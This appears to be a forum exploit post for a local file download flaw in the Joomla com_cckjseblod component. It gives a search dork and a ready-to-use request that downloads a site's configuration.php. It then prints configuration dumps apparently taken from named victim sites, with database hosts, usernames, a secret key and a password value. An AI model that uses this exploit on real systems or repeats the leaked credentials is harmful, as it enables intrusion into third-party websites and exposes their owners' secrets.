Joomla com_cckjseblod LFD Exploit

Joomla com_cckjseblod Local File Download Vulnerability
Dork: inurlption=com_cckjseblod

www.site.com/index.php?option=com_cckjseblod&task=download&file=configuration.php

POC:
var $dbtype = 'mysql';
var $host = 'localhost:3306';
var $user = 'star-_nice_mz';
var $db = 'star-pk_StarDB';
var $dbprefix = 'jos_';
var $mailer = 'smtp';
var $mailfrom = '[email protected]';
var $fromname = 'Web Master, Star Marketing Pvt. Ltd.';
var $sendmail = '/usr/sbin/sendmail';

 

HEDEFSİTE => http://www.call-of-bratislava.com/

<?php
class JConfig {
var $offline = '0';
var $editor = 'tinymce';
var $list_limit = '20';
var $helpurl = 'http://help.joomla.fr';
var $debug = '0';
var $debug_lang = '0';
var $sef = '0';
var $sef_rewrite = '1';
var $sef_suffix = '0';
var $feed_limit = '10';
var $feed_email = 'author';
var $secret = 'LJQmdYR1uZRVPBeK';
var $gzip = '1';
var $error_reporting = '-1';
var $xmlrpc_server = '0';
var $log_path = '/homepages/28/d367906534/htdocs/bratislava/logs';
var $tmp_path = '/homepages/28/d367906534/htdocs/bratislava/tmp';
var $live_site = '';
var $force_ssl = '0';
var $offset = '0';
var $caching = '0';
var $cachetime = '15';
var $cache_handler = 'file';
var $memcache_settings = array();
var $ftp_enable = '0';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = '';
var $ftp_pass = '';
var $ftp_root = '';
var $dbtype = 'mysql';
var $host = 'db368184413.db.1and1.com';
var $user = 'dbo368184413';
var $db = 'db368184413';
var $dbprefix = 'jos_';
var $mailer = 'mail';
var $mailfrom = '[email protected]';
var $fromname = 'Appel de Bratislava pour réunir tous les francs-maçons';
var $sendmail = '/usr/sbin/sendmail';
var $smtpauth = '0';
var $smtpsecure = 'none';
var $smtpport = '25';
var $smtpuser = '';
var $smtppass = '';
var $smtphost = 'localhost';
var $MetaAuthor = '1';
var $MetaTitle = '1';
var $lifetime = '25';
var $session_handler = 'database';
var $password = 'avelook';
var $sitename = 'Appel de Bratislava pour réunir tous les francs-maçons';
var $MetaDesc = 'Appel de Bratislava pour réunir tous les francs-maçons';
var $MetaKeys = 'joomla, Joomla';
var $offline_message = 'Ce site est en maintenance. Merci de revenir ultérieurement.';
}
?>

 

thanks

 

you can scan smtp script

 

eline sağlık